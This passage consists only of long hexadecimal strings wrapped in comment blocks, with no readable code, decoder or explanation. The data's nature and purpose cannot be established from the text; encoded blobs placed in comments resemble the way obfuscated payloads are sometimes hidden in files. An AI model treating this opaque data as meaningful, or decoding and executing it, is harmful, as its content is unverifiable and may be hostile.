080837a0758bb6c77976bc150c15f2d6ad860eafacd0c2a40178496ef43498e1f243347867e98d0a411e4adffa882a5b25bd8cb4a9a729e891918cfd611079846e1f401f29f9c8a756b76ebccaff64cdb915af1bc5e9e3f46777654ba668a6c0b00e26575906186d216d5f9dfc888ba77860d77e643123b8e8d2ed1fbff07b5d53193532544c0d4a4e31b670ad28d1ee3e12c2924da8f5626a96941248e046639d0e92cb0a0a89b94c8cb71729aa59af8630bec15a72f0633756cca8586500b7b3d96690a43428fa21c157902f42a13eb53092a4812f355c9f0d967473ed9aa4aa270cbbc45c09192b684441336c7ba5723fbbce080896f6564c69ea43f2014628438b1152001fe7722c374c9200f62d20c42dfe023334fca33c14102d90307d9aa476030c7132eb87da7015c9aa6e0ed3d399349082c157943cde7a0106111970729ea9f592c8261e94005d9794f1dd737eb785e1fd93f1db6d40a87b0131ec19f93ed0bb1ee6191676ae6296c8d47907c498248443d3b40d2826488e01e473aa5e174cd51e571ade7bb1efaf3479714e579d3944206b04f5baab8b491be13da927d4b10409170d3fdc248cf8df1e702d80fb0e8999bb147229ab46eca2a205b5aeff0c904834d79ef3ec0bbd9f73d2a8c1e0c1e1d63024ee96a701592af2d7f6b456b0d495853*/
/*e34976544dcd312fa7d5f3871959241a56bc42ea9ab23fa2305f9a57052b19248025e39760454a9e62405b14d48e5f81d3cc861eef6a974427030ceb91b021ed5e36d12b145632edd799ac3f0e3c7a6b1367530edc7cce4c640fbe3c53bc37bc670744dc2928a0dd24053c8f8675a9c09ecf84661f70ad317aa3f1f85188c5c4f75893e1eb8cd8e5d9e38e2f4ec7ac43d1a1b3aeb62d9c0f2c3d3068dbc689e72e605a2523bc68054e7883a911128df29e51761846cab3b18a264f984fa62502bcea440c1769440349333ff0b56ec488be1f8cd27a871779a1f05d6871f4592e6687bc01b463077c8514b9ddb8cf8691d7f94de9e915e17d2cea03a0fc5e26b66ab81fc747b1b76c26203646c123b74b5b2f800619bbb7598bd287af3e4b4d5a78fcec138adee4c53ae74a5ef475082210de0b018aafc4bb52140b29e691dbfb30720f78da2b18caace7065de83ff64317e8170b1ad33c3dae6f6a49dbd8402518140cdf65d4b0defd0804da47b88928479510112316886a1371273d5698de1e7c27b3d308e9612943c5c52c1d893e02c6fedb2767cef24f16d090270ec18a49d0902fd0373bd5190096935237491e8bf5edf6321ffa8379ae74fe470a9c0c97899b519ef7703277f6b35aa5f3480ce7ac34fa12feb1c3760edbbcb911f71504e8810e1c3d0b1460db0dc8d52e52826a3527ac0fe72fe4b03c9afe7cae6ef03e3c1608df88534207cfd759500c780a64680dbca6d5a6505d04250d6ee4d0b0a0e2b5473f36af2ddd797d891987c392a46402d4b095945490556f1f59bec50bcab3a4ba4f1c09195ef8a1f7c1f5828d39c85197971feffda444fdbd7c1eedf7d528a0f200dc59877608d2263efe7debd985ad0e69a29cb8f30f5c5d23fd70d0abd413a72b9d9969cde8cbceed4c2eef3a662f18362eae25c2f615ed69979ada0b3312db21e00d5a312e69e2ec83214d3713873eab66bf5afb3dd8b1b00910c25fe3bab0b4c3513ba8a3a8bb16ac95549d9cd687a0e70aeaba19f14293ce464954e3f6a8c941045ed60802c36003be74f6b05683d442635df620feb74b5651bb831bb9f06eebe015b2d7b88f987da6f735c9177fb47cc6465767d0042a412c6b810bdfc3ee84023e4febad7e5bcade470c10da7568a054e6c28d58ff18aaef5da0430d5e00f76f4f813a93bee9ce75e3719d636046700311b196c8d14ab455f013b685f5cbe7636f333051c0e6a042a438064155ce3bbedadaca8854b49ad0fa6b1c47195e6876a65bd636ee30dc97939586aa52643db2f083edbec0d87431aa52ff53518784e9d09b26b03078d4bb5e04688461438f4b29a7a7b15afaff95587e55d76a49d4e358896d8ef360bb1bf3d620ec02d19e9057c8d3ef43bb4809c10065c4bcb2d215b8d9f84c50ed3006d901d9ca3cfdfbb51a03abb3ed37ca871629d414ac1bd18594bc5db217b899a07966023281a6ba02d0b89c5d30fb5673a34d7be77d4c5b27ad1d8ada79784d2da04fd054c7dae3b5c9bd8d46810c4342292b061417019c711ef12ae3388521edcef037956d8b289a9094804abbe4b6f8b111e36bc91587a8dedf024d4edb815b3ea73c77a6c1f6ae12b5b18d17b3b17f8688ee6340a471c8bf80df56507f87930a98b9299afb70e8de59ab16cd059395ce483cffb1679524122a0899644ad3b2f8ed8448016218bc81bb608f2014a8915afaf38f9f4da5b2f6bc28fb5f734e5151c39ea49e966abe04f6c40843578aa2ed6c879c3b532c373a535621622f20c2c3c1192e441ad4679c048b8b71880d8be8396e8c7cf5cc527600f0699e360a35e1764e65903c007c680dbfbc1459c1d6a20c84c8d8361f53d1b5ecfe3e9275be79c00643bc5d9adf2879a933482e2a7d56a33c6e236a5b2d20b5ff06cd5e8457f6f8f39daec13535da4d9850540df37cd0612ea2c9412bd1c512bc1c87fadd07405829ff3268b0e34d8ce17fd99b42f35f7b81c900b82d31bd5d4248504fc0c70fab79270f1cb8c075c5fbba67fdd1fe595af735c1795edd0ff6aa58b338d0353e6c6863cf4175fa1879ce102e6343e89562d0788ce8270f66d61eeb7782c9fd38a821b638e8eff499949a0386aaddc5b0d20f5a62fd7059a3e24f2b215fae87f1420d10943b4af30f4bb92c1affbc671a545a82421db02d50888731c19cf3328e35e869712430031a9cedf3083711ca7af44935e20105bcf6ce526fdd82586ddfe8992eef5caca99fca45904f8d8a8bb889804c181e9414cca6d89aeb2c67e8e14e0e8edc625450391314d5c0580676072358f265e8c7cfd47709e72dec59026cb0d101f2814a7fc571f9a1935d8bfd5ebcb5973e80ff2be68824b28f42f953a43ac0c3baa5337fcf788204f5da4e881aba004aaff13f16e149291b8de042233bc929a54fedf7be397d90955fd032f8024034f669b6c42d5299263dcf1a5ebe449403e68e9c424078592ef8b5633e82f1e3e19e050a46f91000ca48040f8b664ecc4c90c853f62d8c2092590ce54d6cb98b526528840e51eca2cfe70cecf99b1b5cd3fc0ea3a44719800364bf3bef575d880b0742ba2819fc3af83bab91c7d66028aeb3ce210058bd8666b986d56ab2e9a3159e62c0d0a178af1ff34945a8c64c97afff3bf0812b37abe3075d0223cb67d45e59b409be6445c3289550e119a11f1d85b65c3206ff3d4cde2015ba90674d369df350023e86a75160f8ee9d41570c971882bd2d9deabd71be671a621da108ee1d5806ceb0e392f07de6c7b99f39deb84dd0947e1650fd890774b87f5bbece5fbfaaab9570b9ac0a1249996cd3663536*/
/*c7f004ac084a99881befe1a96cf2a8c4513c6e1e3fae5b9e2b384d0e93673cf7e7a9ebba831564e2c1e1a109d87aa1c997d53f1ffcd1f41219806b0422ee78e9c05e50ab74d63d002a9cf0b1c38b325eac728177490c1f179f6d2a0c5aafc9387e722818240fc23798f6ae64fe22c2fc600a0351b59a318ad2953c29738e1adb552db115c2f31948a2f05c60c01cb739823b87411c96bfbd96be6a6f5d0b06a460cf62b84cf3e670a9956a8cbc0ee3b285c3874acc8e298b881322c76b0ef32627bbebc8d50e4701669eb393080d073993f1bea414cd9abfde70ee3423690aa8f1cb22a0838dbadbf0bbc38423dec1b25323e2f1ffc78c3b13f0c0da05b924bdb2e8522163422e8d1e242b802c1e06892d948435d7626d30e28703a63720307cb529b16f68cc8f1a31b45dab74a9cfe5e4de0eff3e843f21590d43d76f81749b6a18c6ec1662152f28259c4ec59de562abe1ce3f7089dbd342cc6f40df1d6ac0ca2a85faf5c2c83f576472bbe4a83bb976760f5a7d09a80201b917d3808079cbddd2e2fe7ac1ffb59b94e890bfb11c2f6cef90281011a14f47cb790ffb5b7a0bef193528f3a713bcfb0b5d087f28a1f1ed567312b76367a056c40fe1e986274c507d144478fcef216923b822ad8edbf28c9bb3c13459bad256f63b10affeff5acd2284a753afd4fa264128b8a8925410fc8caaf52253e0f5411992e96b028f6b468c0dbe4ce2b6203fa19a3b8302dd8c42b4ff8cdaf1e4b32da9f23c00df69f28d7eb3b0cbf79b5efcdab154d2ce31f80ab5bf017c9a4e896c4554a1cb1cf91a80a1fe2d0a0d0e450cde61de5eb71a2889291de038f8528571ab351b548ed878309543a34e40a57f41b3cb09a1b9613d2178b64ee98cde5a25f25019a0a9f47efa7332a588833f16944199f1f0752f0a662b314031364398e66efe2777afef88266c30e09f3224672352e588a4cd0f6ffd7f8258b32f5d5c78740c8f805e36f99323f4f7b6c64ed05f1e99bb48bc3320f0610da36aac7a26b46bcb94591b442ec4eaa6c2fde02d44b6511d2a0dc28c03658414366ebedff3b30e6f58eff049652d5f26982e481e7711d98de70997e83207de208c07b0fd0012f4bd32626a944d9899bb7ba0accb0e584e6b56c0f625bbc7c2e2b6f8421aa8e2dcd1e6ea9b598badf311f5767f74e2b9b8373b3948dec53f919f00f38dbfe41668806896845d639f7c40c0a2bf377930dd4b1c5cd191c98c5964f0866d0abfa997a33afbe693f7041ff81376d1cad076bd4767e0464a9f92d3525029f7400c93f9e137b14e17bfa8f32a81b5d06347e25da8287b4e303ca937081d69f4b18372144794c859c546d1147e6f542c1362dae9c09096753ed0b44ce719eb8c61a4fbdea2e8cfadaab4c136ef3674b8d221de377db80ad310900e9d2cd7ef365756fe4fca45c8bcb31bbec7070af7a320590128540ebb46d7d15422ec28e2207789dc71dc5894173ce64ba4ed28da7492c23a486c24661ab9b28cd77b4413ab3a8cf36b044568fd6ec189e16bd43f51b4209f9fc3a22aa4c21e5466633358318fa98ad9483d926a7c68e5aa01de5a7522c6de0dbb655152ba184d1c792fc5efb39e8a8b19c27ef33f58d223cb1eb8b4043b0e096df33592de1b1ca9e9ecdbded7218f655ab005349e8ed55d8f2113790b606d316a296378bff526fc300170c4f39a82fbecdf67a48cc9e6c85a67bd06b99ed8d7edab10e926f1fbd69311b1d17203fa873fbb8f4dbe97af2d92d3e2227bbecc4902deaa5a356300c405ecda7a7373d6d4b9c6a7d49ad9e55a5a8ed67e2e5ff0cf482bb6f45ca7c58e3228d2b543c35ab8198779672106f733b990cd108abc4d2f2d8c815113880891aa611567f024718fa326e3b09fee658e6e212082429bf5ddc12e3eb4c30c652478a3f8e8e69303b5e1d22c80f4ae7ad258846a8f051293ab3ba93ef9a2409f1f65084c464205f76295528ebcdf2a65e85443ef94329104ba852d641f6b260bdf094e45ef57d4b42ad8703a5c2cbe73ab7e5f3822d5782d0a09fd508d9accf0fb6ddd524e7488ca2602a1158d95e4cc079e2f8cd1f89a9095ea2cfaa9c974b0868feca325961eebbe5fdf26228d7e8afc81ccf64fb638146373b709d4ddb974d751f353f6635e59656db850f698d082ed6b8b0a01772349bc6c49c399853700df914d80b5d59d8ddfe30151e3ddab5a7a3969ee3ceb8f8c3019ff0b52d9e1cf437f0036bc8043b0f993562cef5d097ea71dbd9bdd3d794315a237b1d0742cc1c13bed419f398279e808606926bf65d127316d02f382474d498ee374e4cce8042c2cee2be995617886e523ba2e20c808d1036c4694a97035ed465d15ae227e1f1b6b9a80dfc6609569e93b3856ceb971e6bf9f23edf8fbae891e8480a58036ceb82c42eb4b64f3a33a35140906134efc2762102384cf4c05f297ae19fc8ef098c864bb3c460959150cc41cbe39b6a0817362951a94145d82fc1f3f52021584632b1214f5d54617d43872bc56b25c64bc685e52b1989a5d1b462b4797cea0d5cdd662cf2c946bf6610eb65f69b8e6551b19148bd7015571798da2576f75b5a523dee65cd324d4519727b9975f71e071fdeb4640324cad980e98aa1b0c4b32278cff723128f945bba1dd93b64e14f9233c0dd7b1440763bd1a42587e483d4bff51e303e737cdf0f64cc3b4b71fe2009d90f6da053d622799838e8c7ca8d8731c616cf2fa72544a14d11f9e23983c8baf260bc0804784953a98b1a77c7f47236cd455539078a576384c17f7da5bcc59e05cd9ae1b145ca30555aca72d55ce5568*/
/*b0d96039d199938d0dbcc19c9fe447b434554999ddb0dc1cecdf11fc494f91ba5cecca9715a5201e9bebc02b59fd11468ce46a25b22f690563ab6ea32c60b997baae5146cacb91f66d154ca543e8b550fceba50ec62d9326e2ecfd9fcb16209693df1bda47c79af438c359a8622e3592180f1118e791e99fce7b0975d2cc325c99119d579b031f912b4b3d66192a39e57922642fcac5506d17d75e71c7c273c8018a17945bd5218c84944812217b0b45aca6b04f9ab9130ac6c7da23d789e996420898dcbadafb52b071160d3d1af543bfd850f17b88d35fba6b0be8ac9005727e93c27961a09d294d6de83ba8e96abc631a79640b6fd0e20baacd35b9f551ebe5a9907b90dd7df40db0d45fb0c0981e89eaf85d1398aa5511e1be7ccffdcbc1fdcde374dced890b4ce50dfe57d1a7e67f66e824bdf04cb468ca2f5f3a3680f3ce4241335c95b2e3b2aefc2de1c0e10de4780ec3f18a67b0cce3807419749c91dfe58407e2bfbe4dc1bd000617fbb24940bb08acd7df1f99406e668db57b250a2fd7f1c77468508f2581b8cba643f3b1c1a70735b72c327d9251a91ed60e730f8a23fd5df02566e6b7ea122117199feed54a6f43d64b26426f0d210b4e283b925553802aa0043394e9c86aa37ed7c815dcdd7ec4598854fd22d2658857c398d8425767fd0cfbd5963b00d96f8f0f0cb8b27d9cb9cee8e45f4eab0837aefb0845a4a5e09dc14dd4729be565f6f38f0416701b1649e4b2c64ce6499cbe972941ff3ff401d5d6b80049d2d2fb99b16b50a12c1b54437d37dc43da72a47beec3dc724b4bf03590baa3b1bcabbe9b557bea9173a32f1c2368cbb3a42bfcb433120297c59e8393eca2181fa9172017fe226802e7c79b07022a23f92ba221bba9b59dc9f98ec4425a943369835cf00305d526d80875829abbc8b2db3e6ca7bf82c8f0402f81a168d3ccb41ff43895e67d14e7144634493471f023948e1b7b63142e24bb5155c16b60f80ada3c4821fd4ae0ea64edd3c2ab3edf5283290c0c06f19953194c00674d3166ce4243efd3d4d2861bc554da08af17aa771d397f635085112e3df98b98f8e8819ef7f9c01d391512eb83d072663f246231fecb542c7e75fe9b3f66cdaa5e6a49295417182db102881201ad005aa4f311c6ad600c8186ede8f67021b8f46e8e7f240ba56c026a4ccea627bff32ba0001990f94f5dee7e88f92ba07e3a1ff6defe7c9457556f22bb2490e7fc1138cd01d3c58c23b32098b21fde07d42a5f5de8851c40c8af0ff4acf64ea858be79c1cfb6771818868581a95bf3796c0403b67b05fefb3a67a830f0eeab854a5dbc443c498ef64776b8d3ad9ca59fdd8c3cbc7dd434f097c8d1a0d435ae16c8f12c81509aa65538abaaa95fd2968b31a563fd622463a393e93acd464405345f7a87076d0c739d336e00280d0c104d3a7486826e2237fb01dc784ccf07244fc3c2c54bed1fdb3e517a318d516559d2dc4bb507c31460a6b3245b90c5835c1937058a20f4f94e18fe82a32f72645811ebf958bdb787d6e6c0a890d9169e89199e4ff8932921e1e546476e1d907fe8ad3bccaf871ad702beaed34d99e94e4580978e2ad0b83a9fbe948a7bdb028c06e3afa1b4cdd4cd5142497f155a501dba6a1203c2421214e033eda6d9122c222ceda1da7fa88904cde04307a0cd5d88a4fa687dd6c49a30749bd70c0d99cfc4dfbcdf45741855a67891c9f5ce48bd8b92abd10f90c618a37ebceaec2ba22b6d9df84ef9fb53bbef0f702d670f17b067a007717f03e4be0e7839ab334aa6d69ea403431425f49a9949216da80e4ae72792906f4dad45479fc31fca79f8564bcbbbbd43356bec1a05fa6220f0d3312270b2b2a3ba4487aaddd723178c3fb89e29eac484263776a4b3f93399f7f1a46f9987b270d320e47bee542d64bbfbad56892efd4aaf1d36ec4861d19af08301d4a91582f266b8552d7ba4559ffc60288f610717b6b160dc758ab0756dfd146970a4de04600d7f08dccd2293dac461a16754c62d9568cf68ba90297fbd8649c97bac7974247edf38520aef43ace651425079fc2231592dab9c9259e2aa945684d0a0beccc5a29e78d532ed240dab3ab2666efbbffd44dc4975a00f0c9c800b8046ff4b14da123ddd8be2cd459668b458eba0f43a7904358db0f586bf84c028947aaa50d0b6fbae9da81154ddc99634d63fac88153fd171f46d2f40c2f38de1271e7f0eb52be899585d6d82b8e66233f519afeb1e4596fb1c83408423bcbecd12c3f9431a0f86fb8210923f88d2885ae379cfdf7efcbf6cb8714f5ae48eae5a496ed274095a29b786f6644de77e988acb52c68326f9dfa192aa9accd0131abbac89ef64c0a9d9ba2b698707c96afa84e886f89e13b792c0754afd035c29d50ddec51f4e64e70fc932f1a5d35b8ca6cafc31e4f68a1bd90df49a497fd23cab49200cfc53b08d2d6375e7eac07b75c509dd78f956fca5431c90a1436bb605515c60d8c784c72b38560dbf629c693c2f70bf19fcbf27fb1d4331ed6bb061a13a1ad79706adb96c84ea0c769b72813bd66c7d098b3d0ceeaf0ad4a0996a4b4b9e4143cc935df76f5aa5115da26f9b6cf416de5e401004d37c6e0fdca02d6c85677aa24522bfb1d0d63ece0e4f08f257d238e1b5b7fa474050cc894b79cd8c5b3807e833cadd6400c7bed9f49e74534ff966422922faa1520cc8a2e9c5ce1006193daf054866c2a7763d7b1ddaddd1669e3e339d22df6fef0bd147c82661bbce4f122cecc3d28f980df6a4ace037fe70dad73a8043edbe25e3c098cd994b961889046ddb988963*/
/*8cdb90209c5ef6c498335d71e1bd544e9c16a2471c75eea9140ccb424118c4e6e3ee3f768f8fc03b635b10084f787ba09976dd8dda8290c82f4c624905e28e4826e9ba641382692bc8fac2bdccaa5d5eec406ed5f1a5722ac478c3b44c439fddbf22e38a4b65b74d14c85570f34bb20a9828d10b0509e7c9395f17b0137ba0fa8c87a98684ae7730e9779826d8ba7d620bc72491b36dfd321ae8fcb7aa3554d8ae829d41aaa6a89534b2fda317ce1493d28906d71f5cdfc3ec16935d2eff4cb969c64fa1de716e309290e5dc63cf88fc32cf10ef1908c8ccd55265bf27d3902ee47b2d9625d6449719b6b27e9a36f975e53a5b81b6d9799aa99f222b4d3d7b6345478583fb75a49bea4255f50d435c1af713819bbfc83daa2ee654ea88535f2baef6ad5bc7265834e27604b0713688c12354978697079dd8e345e80a24800dff4b4bcf7eefdef5dfe3fa55219dcb94f6aca059bfb18026f114f07f546ee93ef11e1a23e8ea98c97ce860ddf3583eef0c8ad05dfcdde41ee0d993f1d248fe9a81783d22ed649f8c0a0212c692ed8527ebdf33486f83935e3699028d3a9030e442c7b6f403a4d2f9a1057def62cb98b13a95c15af0e8986f6c6082f251a71ce8baa8c5f216df3eca9b72ba05ae7317c486fc5ffc5e0cdff17ff4855cbf89d660f74ceca01de331e5f9c23a39cae9e5088e53696c3e43b5188c284365908edb51717199cfce3af7f5c37987b9960aaa88591e93439907592773c1f5e8cf4fe739071b4738eb86a04123364d71f1ba4e98171499bc15714847914e05f14529504d8dc8e73726850255076789019c1157ba130ce395691946ea716cdbd3e96c6b380aacabde33c401ff052f9c112566feff7c5a3ce798edda761751ce7588de1142a7958ee36e4b25da18ddd56cfa55631268fa843ddc2a03b282cb84c09b3dbddb774a7520942697f38be07a7468ed1abbfa04d75d3ca2ce3b0f473391f434d9efc540e4dae98d9e797d5ea02a84b3f648482088ed44fa3ef984240d472df6a7edae50bdb6895dc83a811517f613818f6c2e00016ffbc245e398df5713ef812e4475e6c182b204e820682b4bf73678cef839e957741f2f6b4369b9addfcf1bf018e57125ab6fd76ca1928128485b18aaa4cdfba35b61362fdaec5b7ef0c56d8c1a1c6c6400b6dd65fb59727f7b7432720222fd6df7e9cdf94355513f7da9be79e1bae78137dd8415052797c76834ea5f354021627f4411a6d7e7eafbf8c8f189013f1191b2f2897fa4ab45a56c56d95e1f0eff56a0f544c319a28efa040bed349c55ed5b29c57c724b03ed565cf38cb793eb23adb2f9e6f153e8a5465b37c9f889e47e6c15f69a5785592461204b65f22beda95169d5b1052e868735b941c4789b1fa0cfe1b389d5bc75d75208f8881a9e5b0f6cf9e0d87e9395b5c4d4b5c1783fa379f31e120f57beb8ea18c1b9d437692ccb5a06c57a3f3bec61a15e6c3dab795f11b41b58d64005a6bb8f8d12c9e812305dbf52f4f3b5cadfdb64a9dc9ad5e1b68b4822cf0e8c9033da5c4adc5fbb7c1eb98050487bdf9e901159adb5627d7a4ec0c6b9b6fb50664a8b925d5173e294da1eea51650ed860f38b74682a9a2bcf4139fbe8fd4b3c25e053473d3256e6b18588b2d06129f03064a73d8857961b9c2f38d0a81e702949b008017632809574f48393f0df0510edf03ba120d310f3a5ec68bc705a1d3f6b134096d4d6d9ef19b5efb693b2b5e72bf161170ccff9f3f1c381455e65681eda2e59aec14c18e5449002bc5a8a423bb6495b32452117f090b58c6230697656f3a8b5c8f03ba12c180c308bf697bca0ba67caecff88897827294ddd2918d33fc94a82da27b10bf8e61560b679152f13d34b60bad4796880afe0f979c0f7a53e803a48b7ba15a7043e54320a7376c26526c91ff428cf28fba65aff4a1908e9ec5159cd32b0cb0f17b51942fb4fb15437151b507b3c7459ebe4f9e8d570990ce0d1aa3743747fee90bf778da30e1f2d06ba9d0547d01dc66f91146c1cb2e425294ed84bca14ddce6edd8e644533f2296a5a337f554cc8298ef7ba10a0225af6a88e24595d9d629cae9cbd025dcd46e1c59a9b41477a80966ebbc3cc5c9e36f3489ea391b961daa71de98cc2f84ea59012696b3b96cb480660f8d01780cfd9e2dcda0032e243db3525b23a1490ac60354d8a92b7fdd4c17f48e04669b50f596f197714d28dc6aa3e024048ec9cce7b05ee0b20d73ad750a8389e2f6b2a8cf47f4d9e9749f6d91a287140e516851f9d1e840be2ace4523cd69b258da0eda3fc1eb3c5c55445232322d979f41dd76a88a24b924d0cfd554b93b9bb65d6a2ff9a5f7a269d3cb97c313386c61c187460c12af957e778919f28ed4226a9e70f872955d1e74ce98a56f85790cd1c5c71859d556e1bde02fdf496aaabf942d4915a20c017ccc1c840ff40e98276fc940fe5dec4ea7ababf0c7c1dd863fa054332bc81d7bcbc042f59b140b6a82df2056306ff95df4954adb67f0875a4a308f467050a5e358513bf2f297b5bbc57736a8e10ae85688af53c03292134c3f9af28accad38ed8c56dd4cc6af73a65c3081510e2a787f2ee9ccb674d566aeb854ce2a5aae1d988d245d8737b016976b2169655e67950fc210da98c59061d5575fb4256e2ced2d7ce217717c4b27357519913fdd84ab1c8ee2dd945a0663d925ad501d3234639dab977f65d9caf59bb62d0120dbe5b61642780c6920c43e8f5e98c4e047d8717b73a50b5a14339e4f5a8bfa3d302b87428769a75ffb2992e7e333da9bf0d81e240ee408a6a12ca48f96539*/
/*a6100b9d1194b0525fa396291bb0dfe9722513cd40d4c2df94bfcd079bdbaf71ed25cd5384914987f8a3f664d7d2aba96ed91636d7a08c8bf6bde50fe9c8ae5280eeefc27ee442772608a5759898b9e983d77b5c737efca6548556d93ce3840af88f9b30a8e708c846ec58f82b83c5453761aa176e3f8e137ecaab53646a641097ebe0f796e09ba5da9c286ee45ef2d62f96cd86eac947584cadd8bef3026dba0724e6ef1aa10f849f76424972535c6486fb1eca04cc0c48b3d245921aaabea2337f38bbc323291ae7f49d07173a0d3fb08741d1642f8268c078b034a07374d6d263c355e20ccb68aa312e071796b9bb22866082f1706e87636cbbbd2dc9bf1752f1ae0c3ad08525ad04380165a05585ecc33accb4f9be9b0abba9816780ffbca73e175eaece1cb9d62cce57e1d1d4e45cf70fccf276e58ab9913e55a190a4d0a86ecd298139c8a2065bcf6961e07fc6abc8e3588b16f4750479d9e66af3b80ae09085a7f7db7e55c9492eaf665b9f319acda793fdb0fe959b71ac4e15eac512012c68c8dee941d66be15eea8e70fc65af0a45e0ea2e2fbcfce73649ee3f294cb21e32c2ab5aca93d5bd032810817f3c086e031daa994db13644bdcb044ba649ae992c63795e074d136c809a8ea360a4053705739c0129ace21a69dce97fe43ec2887442bbe8dc7b165e656c2209f4a973c0894101dcdd1c23e54687e3ee5702099eb2be8b8a3f07f577b8901b1613bae13a20fbdc32170e1904c434f9a18a8064a0d3dec00f206ba6098daa2113c5554599b4e35a565c424de20270d0b14e720fd7b364baf9e6c7b8db07507df0b155e8f940adc8a5b670949dba5ec88de4541f8ddcb6044e632a2736dd73b0e5379549d3a3121a4264060c1257bc66e3681d2a7e334d2b8b51c992b0e87227189e01baa6ac5d4a826798df614162f5e396daa6b39c6459f5ef6c4f5aaff2c15bf53609871606c83891e0c2cab3e4748d03bcb42e9525b524acb4978bec80d04437017f3a443864eb8cf203a1ab737a88c6ba9d9c3b6179f9eec4cb136de490f3784c42400af11c315815f4092febaf9baef185037910e441e2e683dca73834ddd80bbefa68be91959ee96743655b000b9ff3e05751cc53f1829af2e8874edc6241d136c8b683ccb1089417d0f4fc6f1e4bae62c3f913e60eaa22ed6bc8df74b6d0e0b589b4891caae03d3f7033c52227d58cd1a58cb502f3bcfc611e3bf2eded89eabf311aae918d57f97fcec3280e0f13dac9a52c51254ca817d066bd69d7d896b1249482d443a7485f6b8f14e7b59a4c996b8a1ab240bfab86fcbb36f88b311910462163e02b9bcc49bd3a3d6b142728be9d0ec3bf47ff88c9294bd1335aa2d2e9cad82944bf0f56e45b95803336a559795ba70ab1343c1995f17afc6c3ba12bce67885bf28aff91388dd5db23c5fb5c94001c8b3f5f043020e978699d38473423bb47022c7706a727e0e63c8ccfd50d9b79f2518818f4befd50e2f2b3368bee0e33cfc0eab0491a2f66475b4f171dd12e8665c7d2668b689d295548d1df4e2c928512bcacc7c3a70b49e3fd6d305030ac8c83dc7cd8869fe0013c7656bace9e9db86649ee86e633f6e872d13e432b2daf93b7f234c5d41dfddeb9f3c22b439bc4bd68c0e9d2da342bf92b9397b50bbd3a16dd564e54136d4f13a41e069c2fea1f0ee0eaa547273a13a253d5b58a5eb289114d38a6db56fc842a3f8021573ea7c09c2c2a18b7008eac8d5a88d7e12853cf9e7dfdf2e1cc0e40cf79c7c395a5ef4e01e20337ee962074ab78820c5c9443d97c002ca4d3c7d316ccd647c9bef2fee644ace7125dc4f7844b1e9a77dbbecc593ddf445efad5e607ce758a03c127561b85ddef4caad7a9ecc3ce15f30027a06a59ad6e95d5186daf4cd04c41828d6c2ccb70c1dd3cecbad801c012e413d1d8c25e46719d4356bc073a091a480f444474e466b22662742aae0f58559feefd132a7ffe7bb819d2acecc77ad954a7a8678320048ed762528eca7e24e36448a8d210640277ee4c312b835450c25172d40a98d8fe08f6120c0f21871f3ff4ab14998e40ed6c918a6a1fcb352533fd8b2201e04bd066d469e62c4918c40df400d82697816e086aa61b86c929495f76b51276a09419ba6ddd0cd9b3ec6f4bfddf2c5088f1b4c1f38393ede5555c8bc211e269cd24a872ced291ca686c0ef4bb4dc7c0d16fabd2f4f864ce19c2d645080cad42196366b43f1e98cb047168d7407be66d87e9dddf2d9f36284211fb02adf07144655c330bf0245ab7a336d575c72c23def07efd2c43d0aa444cd9a48614dad005a5702cc0daa8ad889d612913d71792cd38101e78e30780d3796fc70b580bb0b7865472a3f67dcdb97d81816c741094915c3b185495ccd1360f904ba070dcaf35bddb2b5cb75b5f510c853bc6930cf3e334fad8ff634b53adcbfcad72368dfac8e8618965aa900b89dfeccd19c71791af84e33483bbf58c76b6661e397712cdadae42bed1ab31932f80ad064f0f4a2f1ee12c1bf75269f744ce399b16cf64341e4c7be046b879e66011ced51f903af2ad485c4bec8865aa2047e6fbb264557ce60938b6c4236497329918dd44cd749b29530e0c55d946d0d976610dcef7ead409ebd8d746c822e8a394db5ca71816609fc499097821a5448ef674b13cca3d6d68aaaf36479ac2d3334d66bc3a802cbd8f0f664c42aa704b6bda9b7688b6b817d3fc8ea0ba461fb57e888dd93876b6091783854eb1c871ecc6854fd5b8f418d07811d3d47497fc3e1158cb94eda1531b2c4724faacd67a19c15e04a1e6913356b8a3*/
/*429e10744607d2b5c1213603779e485fd1cee9586d63ab0a8074abf1a205abe567b63c3dc8286ceb40966121dac71f8498851face346759cb06e0552263a9b9ffb7a53b9401f48d2cb6c5052014419baf7ec0a8106457242702eaa92e22e5bec26e0185e1f0ff1a2602645bd980273e6bfbd709496697594b3604f74f757174cd871ee7031deb3c5a56042e5dc00f49ad408003182da79fa82a0aca8cf5ea55f12811a4b0469683f766ecc6420df7e1ee310ccabf3e2bd8cfa62880ff8fde5d70be66d58edda3f8db6a2c488733e1f09c343767aa14d035b7976f2e9ba371a49ff788a8b8b49ea5ccda038438181ee9d5a69a528c297ca736288649bd17e2ca6f08f262c7e210f2a97f9e4915f8e828a9accfb5c96e16765794dcb975473d4a0e895060400f0a5838ffbf03bb27d93b8f7cff381fb47569183be54a49a34458ebfe66f6bf9c154b09b2ed873cd9ccf4f56572b5fbd124565a6fd9433a2c84b299d2b3746fdb17935f768c8aa3162f771380e201420ddcd74220fce28bb458a48f808629c84996fcc8df385e364f03cf40eb9b51cf7f12cd9864cb5fd276871e8e3f35a1e98cfca673bd04d1621926070f4f8f95a447c27838e835156fce7210ebe70fd1f3c0064b555648826a4fc28fc0eeaf01f701c433efb35d86bd8ed50e7d053aa676d7eca24cc569ca4930716c3df41dce4e184cc3842266270917b23a407a7723ef80121ca9d48150a9c708dcb54598b4f0845011ad043a8865a23eb1165e08b1a45130ff8de93299a9ed14d10ddf202daa08f674dbbbd663ed75e73c94622aea84aefe0e3c442687d3375acb0ca7924cb8df3b998981198326977d87ab62f11866c226866f0ceb5fb1a616d8db574fb4f4f66aa87ebf17c2b6e2abd201887762d5dc4f68f2d9cfc2361c41910171ab03a525273ee13ce2d6105c3d35a2b850d1c88172fde6288cdddc8448c9a7326a02b6131326ba59e3d00d45e2d140d16e2e9a553d26ff0f7e9aa6ec8f1af23ccd597533b8df712c4ec857ac118d37a1804a42354886aa3b811dd848a728db9dd8b5edf8c9313cb82044a35e4f144f37360ac58fc19f2617892f159ad45918c492b0a7987f889f2c702f4877be726786c045886c962699950d87d8114a1a6c36ba664cf99ccfe30da2c891484701c9a9e5f284bf28e16f12a13345bc1f3723baa84fabd7b23430fb5463942f56dd7595d7e401dc43588bb2d30ae3cbff2c006523acccd782c35927035bdab2c8432e91871adcc71e9098e778b7478fc79b5d5d088ce8ab0e83853114fbe271ba58c76e1fd1549b08a50eda5d73b1ac13fde1cae17885cc8446b1e742c4e65aee46c498ae0efd871202c375caacf6df1a688903c3234a88f0951133d403434ba153abd371a63402eb4785a6f4448ab55c10ed867ae126ab4224d20780517e1740c2b72ea9a97aa5aebc48c8311c0041b841f34